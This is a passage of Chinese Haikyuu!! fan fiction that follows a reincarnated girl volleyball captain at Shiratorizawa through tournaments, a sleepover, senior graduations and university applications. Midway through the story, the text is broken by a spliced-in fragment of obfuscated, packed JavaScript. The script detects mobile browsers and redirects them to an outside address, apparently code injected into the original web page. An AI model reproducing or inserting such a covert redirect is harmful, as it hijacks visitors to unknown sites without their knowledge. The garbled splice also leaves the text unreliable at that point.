全国大赛上，没给替补太多上场的机会，全主力从头打到尾，凛音带队，以最好的状态，一路打到半决赛，遇到了大阪强校金兰会。 但这只白鸟如今的实力实在太强了，毫不费力的2：0撕碎了金兰会，震惊了全场。 大阪金兰会已经统治高中女排很多年了，但在这一届的白鸟泽面前，金兰会才是挑战者！ 决赛，白鸟泽势如破竹，一举撕碎了对手，没留一点情面。五局制比赛，甚至没有进入第四局，白鸟泽打出了3：0，对手拿到的分数没超过四十。 再次震惊全场。 无数人为金兰会的这一届感到惋惜，她们依然是很优秀的，有的选手甚至可以说达到了这个年纪的人类极限，可惜，白鸟泽出了一个无法战胜的神。 金兰会的王朝被白鸟泽所取代。 男排那边的比赛，宫城县的表现也还不错，不少强校面对乌野都有些诧异，竟然打赢了牛岛若利。 随后，乌野打败了冠军的有力挑战者稻荷崎后，整个男排都很惊讶，乌野成功证明了自己能够打赢白鸟泽并不是巧合。不过没什么人为稻荷崎鸣不平，大家都不喜欢和稻荷崎打比赛，他们的应援团太烦人了。 但也能看出来稻荷崎的应援不完全被球队所掌控，他们竟然会对自己家的队员喝倒彩，活久见。 相比较而言，完全听从凛音指挥的白鸟泽应援会就好多了，但是在女排中，大家也不喜欢和白鸟泽打，因为凛音有时候太strong了。中场的时候就喜欢对着自家应援会挥挥手，然后应援会歌也不唱了，舞也不跳了，也不吹奏了，就搁那喊“不败女武神！常胜白鸟泽！”。 观众席上，凛音的其他粉丝也纷纷加入进来，大家一起喊：“不败女武神！不败女武神！” 对手人都要麻了，不得不惊叹凛音惊人的号召力。 乌野的下一站是对战音驹，久违地垃圾场对决终于实现了，凛音兴冲冲地跑去现场看了。 仍然是全程紧张的不得了，比起她没见过的音驹，乌野加油啊！ 谁和音驹打都要脱层皮，防守强队真的很难缠，漫长的拉锯战非常消耗精力，但幸好，最后乌野还是赢了。 凛音没忍住红了眼眶，趁着现场没人注意到她，凛音赶紧溜回酒店，洗洗脸，敷敷眼睛，终于看起来正常了许多。 然后给她哥、影山他们发消息表示祝贺。 但很遗憾地是，上午刚经历一场激战的乌野，下午这一战打得是鸥台，偏偏日向发烧了，队伍的整体状态也没那么好，1：2输给了鸥台。 凛音有些惋惜，这也就是乌野和传统名校的差距所在了，板凳太浅了，一旦主力上不了，就没有什么能替补的人了。 在同一天的上午和下午，乌野和音驹结束了自己的春高征程。 出乎预料的是，冠军不是井闼山也不是鸥台，而是完全不被看好的一林。 再次说明体育竞技中，一切都是不确定的，搞不准就冲出了什么黑马，选手当时的竞技状态也是一个相当重要决胜因素。 凛音没有多管乌野的事，和队友们一起庆祝又一个春高冠军。 “走，回仙台请你们吃火锅！” “……” 啊？又吃火锅啊，已经从国一吃到高二了…… “怎么了？吃腻啦？要不到我家来吃饭，我来给你们做。” “好耶！”大家欢呼起来。 “那到时候大家要一起帮我哦~” “没问题！” 大家一路欢笑着回到了宫城县。 第二天下午，女排部的部员们一起去凛音家里聚餐。 大家聚在凛音房间里叽叽喳喳地聊八卦。 “玲奈，你觉得古田和相马哪个更好一点？” 这两人是鸟海玲奈的前男友。 “各有各的好吧，古田更帅一点，相马性格更好一点。不过我现在喜欢凛音班上的谷村皓太呢。” “哦~谷村啊，他怎么值得你喜欢了？”凛音好奇地问了问，玲奈在学校可是超级受欢迎的大美女啊。 “说不上来，就是觉得他超级可爱呢~” “对了，凛音有喜欢的男孩子吗？”大家八卦起来了。 “还没有，就是觉得身边的男生还都是小孩呢。”凛音茫然了一下子，她还从来没有想过这个问题呢。 “没有男生给凛音表白吗？” “没有啊。” “天呐，凛音这种条件的大美女都没人表白啊，算了，你这脸这身材这家庭背景这排球水平，世界上哪有人配得上你啊！那些男生自卑罢了。” “……”夸的凛音都不好意思了，但她一向适应很快，这不就是实话嘛。 “那凛音对未来男朋友有什么要求呢？” 所有人都好奇地竖起了耳朵。 “没什么要求吧，只要算长得好看，我也喜欢就行，反正我什么都不缺。” “那对你来说确实不是什么要求了。对了，男排部那几个你不是走得很近吗？有喜欢的人吗？” “没有吧。”凛音想了想，关系都挺好，但也确实不喜欢。 “唉，那真可惜，好几个帅哥呢。” 凛音认同地点点头，确实都很帅。 大家的话题很快就离开了凛音，转移到了别的事情上。 凛音自己都没有察觉地松了一口气。 大家聊了一下午，差不多到了做饭时间，全都去楼下帮凛音备菜。 排球场上培养出的默契还能用在厨房，大家井然有序地做好了备菜工作，帮助凛音轻轻松松地做好了一桌子热气腾腾的饭菜。 这次饭桌上凛音准备了一盘对日本人来说有点猎奇的东西——变蛋，还配了醋油辣子做调料。 大家看到变蛋：呕—— 大家尝了一口变蛋：呕—— 凛音连连摇头，真是不懂得包容啊，这几个变蛋可是她好不容易才从中国搞到的呢，另一份绝世佳肴活珠子更是搞不到。 凛音淡定地把剩下的变蛋沾着调料吃了，真不错。 其他人露出了佩服的目光。 吃完晚饭，凛音还留了大家一起在这住一晚上，她爸妈晚上都没回来，把家里留给孩子们闹腾。 大家都带了睡衣抱枕洗漱用品，一起开了个睡衣派对。 先搞个经典的枕头大战，凛音因为力气太大被禁赛做裁判了。 凛音：…… 凛音恨恨地提出败者的惩罚——吃一个变蛋，于是原本的娱乐局直接变生死局。 双方打得异常激烈，凛音作为裁判看的很是兴奋，弥补了不能亲自上场的遗憾。 最后，败者组也没有一人吃一个变蛋，而是几个人一共吃了一个变蛋，这对她们来说也是严厉的惩罚了。 接着，大家开始了多人夜晚不得不品鉴的环节了：看恐怖片。 凛音带着她们去了家里的私人影院，选了日本最有名的《咒怨》，凛音心想这么多人她总不能还害怕了吧。 她是个很怕恐怖片的人，非常害怕，上辈子她连小小梦魇都不敢玩，连第五人格的开场剧情都没过完，实在想玩这种类型的游戏怎么办？不还有猫和老鼠嘛，多可爱。 但她属于是又菜又爱玩，所以她的游戏库里有小小梦魇，游戏时长1.5小时。 一群人在私人影院里坐一圈，电影一开始还没什么，但恐怖之处一点点露了出来。 一开始的凛音：就这？就这？ 后来的凛音：（枕头蒙住头）啊啊啊啊啊啊啊啊啊啊啊锕啊啊啊啊！ 大家本来也都挺害怕的，但被凛音的怂样逗笑了，气氛一时间有些欢快。 凛音头埋在枕头下面，双手堵住耳朵，心里开始骂这个影音效果怎么那么好，她还能听见的鬼的声音。 电影放完后，凛音瞬间满血复活，没有一丝受到电影影响的迹象。 全程用枕头蒙着头，没看到几眼恐怖画面，当然不受影响了…… 看完恐怖片，大家又回到凛音的房间，一起收拾出一大块地方，打了个十几人的地铺，坐上面玩桌游。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909269|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大家一直玩到深更半夜，而凛音十一点就已经撑不下去了，昏昏沉沉地阖上了双眼，被她们搬到一边睡觉去了。 作为睡得最早的一个，凛音同样也是醒的最早的，一睁开眼睛，发现那几个人睡得东倒西歪的，估计全是玩着玩着突然睡着的，一个都没盖被子，幸好她房间有暖气，不然大冬天的全都要生病。 尽管熬夜熬的有点晚，但生物钟还是叫醒了她们，大家迷迷糊糊地起来洗漱，吃早饭，然后告别了凛音，各自回到家。 很快，第三学期开学，所有人的心里都有些惆怅，高三的学姐学长们是见一天少一天了。 可是时间不会为任何人停下脚步，凛音作为部长，又哭着和大家一起送别了高三的学姐们。 同样令她感到很难过的是，牛岛、天童、濑见、山形还有大平，也都要毕业了。 大平被大学提前录取，牛岛上了明治大学，天童去学习做甜品了，山形正常上大学，濑见去做公务员了。 ？ “英太竟然想去当公务员，真是稀奇啊~”凛音忍不住感叹到。 “哦，因为很稳定啊，这样就有时间去参加乐队活动了嘛。” 人各有志，天童和濑见未来都不想走上职业排球的路子。 凛音点点头，合理。 高三年级毕业的那天，凛音在去找男排告别的时候，没忍住，抱着牛岛哭了起来。 “呜呜呜呜呜呜，我好难受，这两年我都没怎么在学校，错过了那么多和你们相处的时光……” 但如果让凛音再选择一次，她也会毅然决定去国家队集训的，这是大家都心知肚明的事情。 另一边五色一开始还故作坚强，但凛音一哭他就忍不住了，默默掉起了小珍珠。 天童开始辛苦的两边安慰。 “怎么还是这样动不动就哭鼻子，我们只是毕业了，又不是死了，以后会经常来看你的。”濑见也安慰了几句。 “混蛋英太，你怎么这么多话……” “安慰你两句还要被骂。” “我才没有骂你，这只是……” “是是是，我都知道，大小姐，这是你的口头禅。” 被抢了话的凛音有些许不爽。 “混蛋英太！” “看，又说了。” “我就说，混蛋英太！” 凛音哭着哭着就笑了。 春假的时候，男排部的大家抽空聚了一餐，在一家居酒屋，好不容易找到的可以让小孩进去的居酒屋，大家打扮得稍微成熟一点也就放他们进了。 高中毕业的几个如今都成年了，莫名想尝尝酒的味道。 高二的几个人也已经十七了，接近成年，也被允许喝一杯。至于高一的五色，自己喝点乌龙茶吧。 凛音也是第一次喝酒，上辈子大学还没毕业，也没碰过酒。她好奇地端详了几眼，看起来还不错，就和果汁一样。 喝一口，好怪的味道，有点辣辣的，不好喝。 不信邪，再喝一口，还是一样；再喝一口，还是一样；……再喝一口，好像还不错诶，挺好喝的。 一杯很快就喝完了，凛音又给自己倒了一杯，用她吃冰激凌的速度喝完了一杯酒。她不受控制地还想要一杯，被牛岛拦住了。 “不要喝那么多酒，你还没成年呢。” “唔，我想要嘛，再给我一杯~”凛音不知不觉已经有些神志不清了，但她本人并没有察觉。 “你喝醉了，等会我送你回去。” “看来小凛音也是一杯倒呢~”天童也注意到了。 川西的酒量比凛音好多了，他也是只被允许喝两杯，还是酒精含量极低的，一点事都没有，就是有点脸红，他默默给凛音倒了一杯乌龙茶，和五色做一桌去吧。 后面的事情，凛音也记不太清了，没有什么印象深刻的，大家分开后，牛岛家派人来接他了，牛岛一路把凛音送到她房间。 第二天起床，头有点微疼，凛音一下子蹦起来，还没洗澡呢。 她赶紧去拿衣服洗了个澡，洗完澡头早就已经不疼了。 酒这东西也就那样吧，是她不会主动去喝的东西，但朋友喊她的话，她也会来的。 新的一学年又开始了，凛音已经是一个高三学生了，练球之余，她也要想想未来的方向，毕业后是直接去打职业，还是去上大学。 家里面倾向于让她先上大学，凛音个人也倾向于上大学。这个问题还不急着解决，再考虑一个学期。 47.一个夏天，两个冠军 因为高二分过两次班了，高三的时候也就没有进行分班了。凛音还是继续喝川西太一当同桌。 如果关系好的话，异性同桌当久了是会抹除掉一些边界感的。 凛音现在偶尔戳戳川西的脸都没有觉得有什么不对劲。 “太一的脸好软哦，明明看起来那么凶。” “我怎么就很凶了？”川西无奈，心想我什么时候凶过你了。 “你是吊眼啊，没有表情的时候看着就很凶。不像我，绝美深情桃花眼。” “……”没话说。 川西目前已经掌握了和凛音的安全交流方式，一切的关心都是顺带，特殊的照顾都是巧合，克制的接触都是意外，同时建立“好兄弟”交流模式，绝对不会温柔说话。 在川西的努力之下，凛音也确实没发现他喜欢自己，从她的视角来看完全没有一点暧昧气氛。 由此可见他的隐藏水平之高，不过也不知道他这么努力地隐藏自己的心意是为了什么，明明别人都是想表达心意的。可能这就是真正的“我喜欢你与你无关”吧。 女排这学期的阵容比去年更加暴力了，高一新生里面有整整五个天才级别的新部员，估摸着也是整个宫城县今年的天才数量了。这五人在国中赛场上也是无人能敌，带领国中部的白鸟泽女排拿下了几个冠军，如今加入到高中部女排，让白鸟泽的战斗力再次飙升。 有了这五个人，凛音就能安心毕业了，她们白鸟泽王朝说不定还能再统治两年呢。 这一学期，凛音主要就在女排练练球，带带一年级新生，二年级的部员还真是不走运，遇到一年级这五个，已经没有太多位置留给二年级了。 光是三年级就有凛音、鸟海、小林莉亚、黑川凪和岩下雅美，这五个是板板钉钉的首发，一年级还有一个主攻，两个副攻，一个接应，一个自由人。春高的名单可以放14人，给二年级的名额也只有四个了，还不是首发。 现在队伍最大的问题依然是没有好的二传，真是苦恼啊，个子高点的都去当攻手了。 问了一圈，一年级的自由人白真莉的传球水平很不错，个子也不是太矮，有168了，被薅过去转二传了。她这身高在高中赛场还不至于只能当自由人，只是单纯的兴趣罢了。如今为了队伍未来发展，转为了二传，跟在黑川凪后边学习。 男排那边也还不错，牛岛毕业后，五色成了队伍里厉害的王牌，白布成了部长，川西成了拦网核心，不过总体水平上不如上一届。 凛音忍不住叹息，去年没打过乌野，今年下滑了一点真的还能打赢乌野吗？而且今年还多了伊达工业，青叶城西也依然是名门。 男排这全国大赛也太难进了吧，甚至宫城县还不是排球最强的地区。 这一个学期还是相对平静地过去了，和往年没有太大区别，训练、合宿、打练习赛，为夏季的IH做准备。 白布依然十分冷漠，但是很稳重，对待一年级新生的态度倒是还不错；五色还是每天充满干劲，但经常被三年级那两个人打击一下。 凛音总是会在五色被打击时跑过去安慰他，然后再偷偷欺负他。 说起来，天童当年还用所谓的牛岛周边骗了五色不少钱，这老实孩子没钱吃饭后，忸怩羞涩地来找凛音借钱。 凛音当时吓了一跳，毕竟五色的零花钱其实不少，能看出来这孩子家境很好，出生在很有爱的家庭里。 一问才知道五色花了大价钱买来了牛岛周边。 凛音又好气又好笑，说了他两句：“笨蛋，你想要牛岛周边来找我不就好了？” 看着五色可怜兮兮的样子又不忍心再说了，凛音直接给他塞了一张她的银行卡，让他自己看着花看着还，不还钱也无所谓，反正学姐有钱。 “前辈是要包养我吗？”五色看着手里的银行卡呆愣愣地胡说。 “哈？蠢货！你在乱说什么？”凛音把五色锤了一顿。 回去以后，凛音又把天童锤了一顿，真是的，竟然欺负小孩子！ 五色是个好孩子，省吃俭用了一段时间，下个月零花钱一发，就把卡和钱都还给凛音了。 想到这里，凛音忍不住笑了起来，多么快乐的回忆啊…… 她拿起手机，点进了她和牛岛、天童的小群里，随手发去了消息。 牛岛的头像已经换成了她和天童的合照，天童换成了她和牛岛的合照，凛音也换成了牛岛和天童的合照。 过了四十分钟，这条消息就被牛岛和天童回复了。 “小凛音好好上课，不要玩手机了。” …… 凛音只好假装没看见了。 事实上，高三以后，凛音在学业上的态度认真了许多，上课开始听课了，因为很多学科的难度广度都明显上升，哪怕她学过了一次，还学的不错，过了很多年后，在面对这些为了好大学奋斗的学生时，也经常考不过。 很快，六月份IH的宫城县预选赛开始了，有了强大的一年级新生，女排在没上什么主力的情况下一路碾压过其他学校闯进全国。 男排则十分坎坷，半决赛上输给了伊达工业，五色这次表现得坚强了很多，没有哭出来。 这一次，白布的脸色反而不太好，作为队长，他的内心是最痛苦的，但作为学长，他的痛苦不能随意发泄，所以他会找川西分享。 川西对于输了比赛这件事情自然也是难过的，但他本质上是只乐子猫，心态比较好，所以还能安慰安慰白布。 这一次，IH男排成功出线的是伊达工业，乌野在决赛上惜败伊达工业，拿到亚军。 凛音有些惆怅，她再次目睹了乌野的崛起，也目睹了白鸟泽王朝的覆灭。 那么她亲手建立的白鸟泽女排王朝又能维系多久呢？ 唉，想这么多也没用，未来的事还是交给未来的人来吧，她能做的就是打好现有的每一场比赛。 凛音去安慰了自家男排几句，也发消息安慰了影山他们几句。 七月份，国青队那边又邀请了凛音、黑川凪和小林莉亚进行了一个集训，她们都在日本队U19世锦赛的名单里。 凛音是板板钉钉的首发接应。与黑川凪争首发的二传手也是相当厉害，但考虑到黑川凪和凛音的超强默契，还是把黑川凪放在了首发位置。这个理由让黑川凪本人相当不服气，最近练球都狠了许多。小林莉亚出众的身高让她成了首发副攻。 只是集训了一个月，就放她们回去参加IH比赛，因为IH和U19世锦赛的时间并不冲突，完全来得及参加两场比赛。 这次IH前夕发生了一点小意外，小林莉亚在训练时不小心扭伤了脚，IH全国大赛时恐怕上不了场了，但世锦赛应该没问题。 凛音赶紧让大家小心小心再小心，首发副攻受伤还是勉强能接受的，万一二传受伤了她们就要哭了。 凛音赶紧带小林莉亚去医院检查，对运动员来说，对待伤势，怎么小心都不为过。一番检查之后，没有什么大碍，就是不能剧烈运动。 小林莉亚自然是坐不住的，让她几周不打球简直就是要了她的命，上不了赛场已经够她难受的了。 凛音看出了她的蠢蠢欲动，警告她老实点，练练手上功夫就算了，不要动腿。 和几周的休息比起来，显然是职业生涯更重要啊。 于是IH大赛上，大家上场比赛，小林莉亚坐在教练旁边干瞪眼。 技术暂停时，凛音仁慈地给她递了一个场地旁到处都是的排球，让她排解一下郁闷之情。 不过小林莉亚竟然看上去怨气加深了嘛。 在备战席上观战也不是没有收获，能看到和参赛时不同的角度。 部长真的好帅。小林莉亚崇拜地想着，从旁观视角倒是更能感受到她们部长的魅力。 如此强大、如此暴力，这就是不败女武神啊。 凛音在女排圈的人气很高，网上甚至专门有她的粉丝论坛，主要由白鸟泽校友负责管理。 这个论坛的存在时间其实已经很久了，凛音初中时候就已经建了，当时因为乌养凛音后援部的部员们都要各自参加社团活动，所以这个特殊的社团不需要专门的活动场地和活动时间，干脆就在网上建了一个乌养凛音后援会的论坛，方便讨论。但渐渐地，随着凛音在赛场上斩头露角，她的粉丝渐渐被吸引了过来，一路找到了这个论坛，于是这个原本被当做部活场地的论坛已经转变为了真正的网上论坛了，部活场地就移到了line群里面，而论坛的管理权也被白鸟泽的人牢牢握在手上。 这一届IH观众席上，也坐着不少关注白鸟泽的人。因为凛音的存在，白鸟泽的关注度非常高，总有一些对凛音没兴趣，欣赏其他队员的观众，主要混血天才小林莉亚和天才二传黑川凪的关注度是最高的，尤其众所周知，黑川凪和乌养凛音是幼驯染，小林莉亚因为欣赏凛音千里迢迢来和她做队友。更加有传奇色彩了。 凛音的应援现在是越来越夸张了，一到中场休息粉丝就会加油。 “不败女武神！常胜白鸟泽！” 凛音本身对非白鸟泽的粉丝还是很冷漠的，不在乎有没有，就算没有粉丝应援，她们还有自己学校的拉拉队，而且粉丝观赛时的一些行为会影响到比赛，她一贯是不喜欢这种。所以她的社交媒体上会呼吁粉丝素质观赛，幸好目前她的少量粉丝全是真正的排球粉丝，还是很有素质的。 今年的IH比赛如所有人预料地那样，白鸟泽碾压式胜利，这一届的白鸟泽强大到令人绝望。许多观众也很失望，今年还是没有黑马能挑战白鸟泽的统治地位。 体育竞技的一大乐趣就是不确定，意外才是惊喜，黑马才是传奇，要的就是胜负难料。 如今的白鸟泽已经摧毁了这一个乐趣，关注女排高中比赛的人都在期待黑马，可惜没有。 男排那边，宫城县的伊达工业止步八强。凛音和他们不太认识，自然是一句话也没说，她倒是和黄金川打了个招呼，之前白鸟泽集训时见过的。 这次IH比完后，凛音莫名生出一种独孤求败的感觉，日本高中这个小舞台上，已经没有人能够得到她这个层次了。 但凛音也知道她还没有达到自己的极限，所以她迫切地想要去一个强度更高的地方，磨炼自己尚未圆满的技术。 希望马上到来的 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说起来有点凡尔赛了，她还挺羡慕自己家男排那种能输掉比赛的感觉，她有两世经验加持，已经走得太快了，在女排里面甩了全世界的同龄人一大截。 凛音在和牛岛打电话时提到了自己的这个烦恼，牛岛是能够懂的，他的观念一向是前往强者多的地方，这样自己才能进步。 凛音是认同的，她相信同伴和对手的强大是可以促进自己的变强的。凛音目前打算把练球的重心转移到男排上去，男排的强度要比女排高很多，白鸟泽尤其如此，除了身高，白鸟泽男排全体的身体天赋都超过凛音，没办法，男性和女性的身体差距太大了。 目前以凛音的进攻水平，还是能勉强压制五色工的，但她一直都承认，自从她初二以后，在实战中就打不过牛岛了，当然也打不过日本高中男排前几名的那几个攻手，到了高中，这种差距还被拉大了。所以，高中部男排的训练强度还是够的。 回国以后，已经八月下旬了，再过一段时间就要开学了。 凛音家里也开了一次家庭会议，是关于凛音的未来选择的。 爸爸妈妈先问了凛音想要上大学还是直接去打职业，凛音没有急着回答，而是询问了父母的意见。 凛音在去年就已经和妈妈约好了，未来退役之后回来继承家产，所以妈妈是希望她能上大学的。 凛音点了点头，她个人也是倾向于上大学的。 “其实六七月的时候，就有不少大学问你的兴趣了，我们没给出明确答复。但是现在已经八月末了，AO渠道已经要到报名的截止时间了，所以来问问你的想法。”妈妈拿出一个笔记本，翻了翻，她把体育部愿意推荐的学校都列出来了。 主要是早稻田、庆应义塾、明治、青山之类的顶尖私立，还有一些体育大学，比如日体大。 在日本待了这么久，凛音对日本的大学也早就有了一定的概念。不过爸爸妈妈为什么神情那么复杂？ 凛音的妈妈是一桥毕业的，爸爸是东大毕业的。大学这东西一般都是有一条鄙视链的，就像《生活大爆炸》里，谢耳朵作为加州理工的物理学家，看不起麻省理工的。而在日本当然也有这种鄙视链，一般来说东大是鄙视链顶端的，一桥作为纯文科顶级大学不屑于参与比较，一向比较的孤高，但他们这些顶级国立大学的共同点就是，看不起私立的。 看着笔记上清一色的私立学校，夫妻俩心里很是复杂，当初生孩子的时候就没想到女儿竟然要去这些学校。 凛音也很无奈，按照她上辈子高三时候的水准，东大京大不好说，这之下的绝对能考上，但这辈子精力全在排球上了嘛，又没怎么学习，平时期末考得好已经很不错了，想考进顶尖国立大学还是不要做梦了。 不过还是要做选择的，凛音和爸爸妈妈先是排除了这些体育学校，凛音上大学的一大目的就是学习排球之外的东西，不然就直接去打职业了。 然后就要在剩下的私立里边做选择，爸爸妈妈问了凛音想选的专业。 说实话，没什么特别想选的，实在不行就捡起她上辈子的专业吧，去上商学部。 那答案就很明晰了，肯定选早稻田嘛，学商学最重要的是专业知识吗？当然是人脉资源啦。早稻田作为顶级私立，在校友人脉上没的说。 不过这也存在一定的问题，因为这些学校的体育部虽然愿意推荐她，但是只保证一定能申请到体育科学部，或者是体育科学学院的其他学部。如果凛音想选择商学部的话，他们依旧会推荐，但是并不保证一定能上，她还是要和其他人一起老老实实走AO渠道。 不过凛音和爸爸妈妈倒是没担心上不了后果，上不了大学大不了就直接去打职业嘛，实在不行还能再考。 既然已经决定好了，就要赶紧准备资料报名了，要交什么志望理由书，高中调查书，还有一些活动成果证明。 卡着时间在九月初把资料邮寄了过去，算是报名成功了。 凛音此时无比庆幸，她以前没有真的摆烂，至少高中成绩和成果报告还是好看的，加上体育部的推荐，怎么也能过第一轮审查了。